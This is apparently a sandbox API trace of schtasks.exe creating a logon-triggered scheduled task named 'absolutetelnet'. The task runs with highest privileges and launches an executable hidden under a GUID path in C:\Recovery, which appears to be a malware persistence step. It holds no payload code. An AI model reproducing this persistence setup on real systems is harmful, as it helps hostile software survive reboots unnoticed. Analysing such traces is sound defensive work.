StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0145.994] SetLastError (dwErrCode=0x0) [0145.994] SetLastError (dwErrCode=0x0) [0145.994] GetProcessHeap () returned 0x2a0000 [0145.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd90 [0145.994] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.994] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0145.994] lstrlenW (lpString="LIMITED") returned 7 [0145.994] GetProcessHeap () returned 0x2a0000 [0145.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x10) returned 0x2bd590 [0145.994] GetThreadLocale () returned 0x409 [0145.994] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0145.994] GetProcessHeap () returned 0x2a0000 [0145.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd60 [0145.994] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.994] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0145.994] lstrlenW (lpString="HIGHEST") returned 7 [0145.994] GetProcessHeap () returned 0x2a0000 [0145.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x10) returned 0x2bd5b0 [0145.994] GetThreadLocale () returned 0x409 [0145.995] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0145.995] GetProcessHeap () returned 0x2a0000 [0145.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd30 [0145.995] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.995] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0145.995] lstrlenW (lpString="MINUTE") returned 6 [0145.995] GetProcessHeap () returned 0x2a0000 [0145.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xe) returned 0x2bd5d0 [0145.995] GetThreadLocale () returned 0x409 [0145.995] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0145.995] GetProcessHeap () returned 0x2a0000 [0145.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd00 [0145.995] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.995] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0145.995] lstrlenW (lpString="HOURLY") returned 6 [0145.995] GetProcessHeap () returned 0x2a0000 [0145.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xe) returned 0x2bd5f0 [0145.995] GetThreadLocale () returned 0x409 [0145.995] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0145.995] GetProcessHeap () returned 0x2a0000 [0145.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bccd0 [0145.995] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.995] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0145.995] lstrlenW (lpString="DAILY") returned 5 [0145.995] GetProcessHeap () returned 0x2a0000 [0145.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xc) returned 0x2bd610 [0145.995] GetThreadLocale () returned 0x409 [0145.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0145.996] GetProcessHeap () returned 0x2a0000 [0145.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcca0 [0145.996] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.996] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0145.996] lstrlenW (lpString="WEEKLY") returned 6 [0145.996] GetProcessHeap () returned 0x2a0000 [0145.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xe) returned 0x2bd630 [0145.996] GetThreadLocale () returned 0x409 [0145.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0145.996] GetProcessHeap () returned 0x2a0000 [0145.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcc70 [0145.996] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.996] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0145.996] lstrlenW (lpString="MONTHLY") returned 7 [0145.996] GetProcessHeap () returned 0x2a0000 [0145.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x10) returned 0x2bd650 [0145.996] GetThreadLocale () returned 0x409 [0145.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0145.996] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.996] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0145.996] lstrlenW (lpString="ONCE") returned 4 [0145.996] GetProcessHeap () returned 0x2a0000 [0145.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xa) returned 0x2bd670 [0145.996] GetThreadLocale () returned 0x409 [0145.996] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0145.996] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.997] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0145.997] lstrlenW (lpString="ONSTART") returned 7 [0145.997] GetThreadLocale () returned 0x409 [0145.997] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0145.997] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.997] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0145.997] lstrlenW (lpString="ONLOGON") returned 7 [0145.997] GetThreadLocale () returned 0x409 [0145.997] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0145.997] SetLastError (dwErrCode=0x0) [0145.997] GetProcessHeap () returned 0x2a0000 [0145.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x1fc) returned 0x2bc4c0 [0145.997] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.997] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0145.997] lstrlenW (lpString="First") returned 5 [0145.997] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.997] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0145.997] lstrlenW (lpString="Second") returned 6 [0145.997] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.997] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0145.997] lstrlenW (lpString="Third") returned 5 [0145.997] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.997] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0145.997] lstrlenW (lpString="Fourth") returned 6 [0145.998] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.998] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0145.998] lstrlenW (lpString="Last") returned 4 [0145.998] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.998] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0145.998] lstrlenW (lpString="First") returned 5 [0145.998] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.998] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0145.998] lstrlenW (lpString="Second") returned 6 [0145.998] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.998] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0145.998] lstrlenW (lpString="Third") returned 5 [0145.998] GetProcessHeap () returned 0x2a0000 [0145.998] GetProcessHeap () returned 0x2a0000 [0145.998] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd670) returned 1 [0145.998] GetProcessHeap () returned 0x2a0000 [0145.998] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd670) returned 0xa [0145.998] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd670 | out: hHeap=0x2a0000) returned 1 [0145.998] GetProcessHeap () returned 0x2a0000 [0145.998] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xc) returned 0x2bd670 [0145.998] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.998] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0145.998] lstrlenW (lpString="Fourth") returned 6 [0145.998] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.998] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0145.999] lstrlenW (lpString="Last") returned 4 [0145.999] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc180, cchData=128 | out: lpLCData="0") returned 2 [0145.999] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.999] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0145.999] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd590) returned 1 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd590) returned 0x10 [0145.999] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd590 | out: hHeap=0x2a0000) returned 1 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x16) returned 0x2bd590 [0145.999] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc1a0, cchData=128 | out: lpLCData="0") returned 2 [0145.999] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.999] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0145.999] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5b0) returned 1 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd5b0) returned 0x10 [0145.999] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5b0 | out: hHeap=0x2a0000) returned 1 [0145.999] GetProcessHeap () returned 0x2a0000 [0145.999] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x16) returned 0x2bd5b0 [0146.000] GetLocalTime (in: lpSystemTime=0xfc3d0 | out: lpSystemTime=0xfc3d0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x8, wMilliseconds=0x6e)) [0146.000] GetLocalTime (in: lpSystemTime=0xfcc88 | out: lpSystemTime=0xfcc88*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x8, wMilliseconds=0x6e)) [0146.000] lstrlenW (lpString="") returned 0 [0146.000] lstrlenW (lpString="") returned 0 [0146.000] lstrlenW (lpString="") returned 0 [0146.000] lstrlenW (lpString="") returned 0 [0146.000] lstrlenW (lpString="") returned 0 [0146.000] lstrlenW (lpString="") returned 0 [0146.000] lstrlenW (lpString="") returned 0 [0146.000] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0146.088] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0146.237] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfca50 | out: ppv=0xfca50*=0x1b7b30) returned 0x0 [0146.246] TaskScheduler:ITaskService:Connect (This=0x1b7b30, serverName=0xfcb30*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfcaf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfcb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfcad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0146.289] TaskScheduler:IUnknown:AddRef (This=0x1b7b30) returned 0x2 [0146.289] TaskScheduler:ITaskService:GetFolder (in: This=0x1b7b30, Path=0x0, ppFolder=0xfcbe8 | out: ppFolder=0xfcbe8*=0x1b7d60) returned 0x0 [0146.293] TaskScheduler:ITaskService:NewTask (in: This=0x1b7b30, flags=0x0, ppDefinition=0xfcbe0 | out: ppDefinition=0xfcbe0*=0x1b7db0) returned 0x0 [0146.293] ITaskDefinition:get_Actions (in: This=0x1b7db0, ppActions=0xfcb60 | out: ppActions=0xfcb60*=0x1b7e70) returned 0x0 [0146.293] IActionCollection:Create (in: This=0x1b7e70, Type=0, ppAction=0xfcb80 | out: ppAction=0xfcb80*=0x1b66b0) returned 0x0 [0146.293] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.293] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.294] lstrlenW (lpString=" ") returned 1 [0146.294] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0146.294] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0146.295] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0146.296] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0146.296] IUnknown:Release (This=0x1b66b0) returned 0x1 [0146.296] IUnknown:Release (This=0x1b7e70) returned 0x1 [0146.296] ITaskDefinition:get_Triggers (in: This=0x1b7db0, ppTriggers=0xfc6e0 | out: ppTriggers=0xfc6e0*=0x1b6420) returned 0x0 [0146.297] ITriggerCollection:Create (in: This=0x1b6420, Type=9, ppTrigger=0xfc6d8 | out: ppTrigger=0xfc6d8*=0x1b6720) returned 0x0 [0146.297] IUnknown:QueryInterface (in: This=0x1b6720, riid=0xfff91c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfc6d0 | out: ppvObject=0xfc6d0*=0x1b6720) returned 0x0 [0146.297] IUnknown:Release (This=0x1b6720) returned 0x2 [0146.297] _vsnwprintf (in: _Buffer=0xfc620, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfc5f8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0146.297] ITrigger:put_StartBoundary (This=0x1b6720, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0146.297] lstrlenW (lpString="") returned 0 [0146.297] lstrlenW (lpString="") returned 0 [0146.297] lstrlenW (lpString="") returned 0 [0146.297] lstrlenW (lpString="") returned 0 [0146.298] IUnknown:Release (This=0x1b6720) returned 0x1 [0146.298] IUnknown:Release (This=0x1b6420) returned 0x1 [0146.298] ITaskDefinition:get_Settings (in: This=0x1b7db0, ppSettings=0xfcb80 | out: ppSettings=0xfcb80*=0x1b6490) returned 0x0 [0146.298] lstrlenW (lpString="") returned 0 [0146.298] IUnknown:Release (This=0x1b6490) returned 0x1 [0146.298] GetLocalTime (in: lpSystemTime=0xfca38 | out: lpSystemTime=0xfca38*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x8, wMilliseconds=0x196)) [0146.298] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0146.298] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0146.299] GetUserNameW (in: lpBuffer=0xfca60, pcbBuffer=0xfca48 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfca48) returned 1 [0146.299] ITaskDefinition:get_RegistrationInfo (in: This=0x1b7db0, ppRegistrationInfo=0xfca30 | out: ppRegistrationInfo=0xfca30*=0x1b7ef0) returned 0x0 [0146.299] IRegistrationInfo:put_Author (This=0x1b7ef0, Author="") returned 0x0 [0146.300] _vsnwprintf (in: _Buffer=0xfca60, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfc9f8 | out: _Buffer="2022-08-06T02:19:08") returned 19 [0146.300] IRegistrationInfo:put_Date (This=0x1b7ef0, Date="") returned 0x0 [0146.300] IUnknown:Release (This=0x1b7ef0) returned 0x1 [0146.300] malloc (_Size=0x18) returned 0x1b7cf0 [0146.300] free (_Block=0x1b7cf0) [0146.300] lstrlenW (lpString="") returned 0 [0146.300] ITaskDefinition:get_Principal (in: This=0x1b7db0, ppPrincipal=0xfcc50 | out: ppPrincipal=0xfcc50*=0x1b6600) returned 0x0 [0146.300] IPrincipal:put_RunLevel (This=0x1b6600, RunLevel=1) returned 0x0 [0146.300] IUnknown:Release (This=0x1b6600) returned 0x1 [0146.300] malloc (_Size=0x18) returned 0x1b7cf0 [0146.301] ITaskFolder:RegisterTaskDefinition (in: This=0x1b7d60, Path="absolutetelnet", pDefinition=0x1b7db0, flags=6, UserId=0xfccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfcd10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfebe0, varVal2=0xfe), LogonType=3, sddl=0xfccf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfcbf0 | out: ppTask=0xfcbf0*=0x1b6980) returned 0x0 [0147.001] free (_Block=0x1b7cf0) [0147.001] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0147.001] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0147.001] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0147.001] GetProcessHeap () returned 0x2a0000 [0147.001] GetProcessHeap () returned 0x2a0000 [0147.001] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5d0) returned 1 [0147.001] GetProcessHeap () returned 0x2a0000 [0147.001] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd5d0) returned 0xe [0147.002] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5d0 | out: hHeap=0x2a0000) returned 1 [0147.002] GetProcessHeap () returned 0x2a0000 [0147.002] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x82) returned 0x2d9cc0 [0147.002] _vsnwprintf (in: _Buffer=0xfd330, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfcb98 | out: _Buffer="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n") returned 76 [0147.002] _fileno (_File=0x7fefed02ab0) returned -2 [0147.002] _errno () returned 0x1b4bb0 [0147.002] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0147.002] SetLastError (dwErrCode=0x6) [0147.002] lstrlenW (lpString="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n") returned 76 [0147.002] GetConsoleOutputCP () returned 0x0 [0147.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0147.002] GetConsoleOutputCP () returned 0x0 [0147.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 76 [0147.002] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 76 [0147.002] fflush (in: _File=0x7fefed02ab0 | out: 